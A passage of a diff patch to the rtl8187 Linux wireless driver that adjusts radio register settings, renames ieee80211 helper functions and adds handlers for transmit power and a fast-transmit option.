vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = 